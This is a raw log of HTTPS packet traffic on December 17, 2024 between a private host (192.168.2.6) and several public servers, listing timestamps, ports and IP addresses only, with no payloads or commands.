Dec 17, 2024 12:13:31.840863943 CET	443	49820	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.841113091 CET	443	49821	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.841295004 CET	49821	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.841321945 CET	443	49821	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.841872931 CET	443	49820	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.841931105 CET	49820	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.842384100 CET	443	49821	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.842447996 CET	49821	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.843197107 CET	49820	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.843255043 CET	443	49820	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.843343019 CET	49821	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.843408108 CET	443	49821	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.911047935 CET	49820	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.911075115 CET	443	49820	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:31.942298889 CET	49821	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:31.942311049 CET	443	49821	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:32.098551989 CET	49820	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:32.145359993 CET	49821	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:32.338959932 CET	443	49808	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:32.339030981 CET	443	49808	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:32.339055061 CET	49808	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:32.339108944 CET	49808	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:32.340555906 CET	49808	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:32.649871111 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:32.649897099 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:32.650681973 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:32.650681973 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:32.650710106 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:34.066762924 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:34.067154884 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:34.067164898 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:34.067244053 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:34.070190907 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:34.070204973 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:34.070511103 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:34.072247982 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:34.115334034 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.008155107 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.008183002 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.008198023 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.008451939 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.008464098 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.008677006 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.122601986 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.122670889 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.122703075 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.122725964 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.122761011 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.122802019 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.122807980 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.169871092 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.169905901 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.170109987 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.170109987 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.170134068 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.253443003 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.293057919 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.293072939 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.293113947 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.293126106 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.293175936 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.293194056 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.293220043 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.295155048 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.321551085 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.321569920 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.321620941 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.321646929 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.321898937 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.321898937 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.321923971 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.322491884 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.350063086 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.350091934 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.350142956 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.350176096 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.350228071 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.350228071 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.469499111 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.469527006 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.469691038 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.469712019 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.469799042 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.488106966 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.488133907 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.488195896 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.488212109 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.488250017 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.488270998 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.507658005 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.507689953 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.507899046 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.507899046 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.507922888 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.508299112 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.526984930 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.527013063 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.527065039 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.527079105 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.527131081 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.527131081 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.543735981 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.543777943 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.543874025 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.543889999 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.547256947 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.564446926 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.564485073 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.564568996 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.564587116 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.564625025 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.564646006 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.658353090 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.658382893 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.658451080 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.658467054 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.658503056 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.658515930 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.673559904 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.673588991 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.673808098 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.673830986 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.675123930 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.687787056 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.687813044 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.687943935 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.687954903 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.691150904 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.698851109 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.698873997 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.698973894 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.698992014 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.699037075 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.711458921 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.711488008 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.711671114 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.711682081 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.715148926 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.723474979 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.723498106 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.723633051 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.723642111 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.724333048 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.736552000 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.736571074 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.736854076 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.736865997 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.739116907 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.748553038 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.748570919 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.748729944 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.748739958 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.751338005 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.852073908 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.852112055 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.853530884 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.853547096 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.853600025 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.853709936 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.860127926 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.860148907 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.860316992 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.860325098 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.863238096 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.868858099 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.868880987 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.868990898 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.868999958 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.871134996 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.877041101 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.877059937 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.877181053 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.877188921 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.879147053 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.884099007 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.884126902 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.884287119 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.884296894 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.887212992 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.893426895 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.893448114 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.893564939 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.893573046 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.893651962 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.899795055 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.899816990 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.899987936 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.899998903 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.900131941 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.907921076 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.907939911 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.908061981 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:35.908071995 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:35.908153057 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.043545961 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.043581963 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.043617964 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.043643951 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.043701887 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.043701887 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.049654961 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.049694061 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.049741030 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.049751997 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.049808025 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.049808979 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.053883076 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.056895018 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.056927919 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.057624102 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.057643890 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.058464050 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.063946962 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.063982964 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.064022064 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.064030886 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.064973116 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.064973116 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.071127892 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.071166992 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.071444988 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.071444988 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.071468115 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.071544886 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.077867031 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.077904940 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.077964067 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.077984095 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.078041077 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.078041077 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.084034920 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.084068060 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.084244013 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.084244013 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.084258080 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.084717989 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.091249943 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.091279030 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.091424942 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.091444969 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.091849089 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.235405922 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.235435963 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.235534906 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.235534906 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.235548019 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.235672951 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.242603064 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.242638111 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.242830992 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.242830992 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.242846012 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.242958069 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.248955011 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.248986959 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.249042034 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.249053001 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.249079943 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.249157906 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.256053925 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.256089926 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.256136894 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.256175995 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.256175995 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.256187916 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.256217957 CET	443	49835	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:36.256218910 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.256284952 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.470334053 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:36.912559986 CET	49835	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:37.107880116 CET	49858	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:37.107937098 CET	443	49858	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:37.108027935 CET	49858	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:37.109752893 CET	49858	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:37.109766960 CET	443	49858	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:38.471076965 CET	443	49858	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:38.486311913 CET	49858	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:38.486351013 CET	443	49858	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:39.559504986 CET	443	49858	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:39.559585094 CET	443	49858	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:39.559654951 CET	49858	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:39.559726000 CET	49858	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:39.560687065 CET	49858	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:39.836766958 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:39.836807966 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:39.836968899 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:39.837239027 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:39.837250948 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:41.197407961 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:41.197674990 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:41.197683096 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:41.197781086 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:41.201883078 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:41.201889038 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:41.202117920 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:41.203557014 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:41.247330904 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.409964085 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.409975052 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.409993887 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.410337925 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.410348892 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.410403967 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.526382923 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.526416063 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.526468992 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.526504040 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.526514053 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.526525021 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.526525974 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.574486971 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.574512959 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.574573040 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.574604988 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.574628115 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.699309111 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.699340105 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.699415922 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.699430943 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.724294901 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.724309921 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.724370003 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.724410057 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.724412918 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.724447012 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.724482059 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.724497080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.724497080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.724507093 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.724524021 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.724565029 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.752911091 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.752960920 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.752980947 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.752991915 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.753020048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.753046989 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.753055096 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.753055096 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.753082991 CET	49866	443	192.168.2.6	162.125.65.15
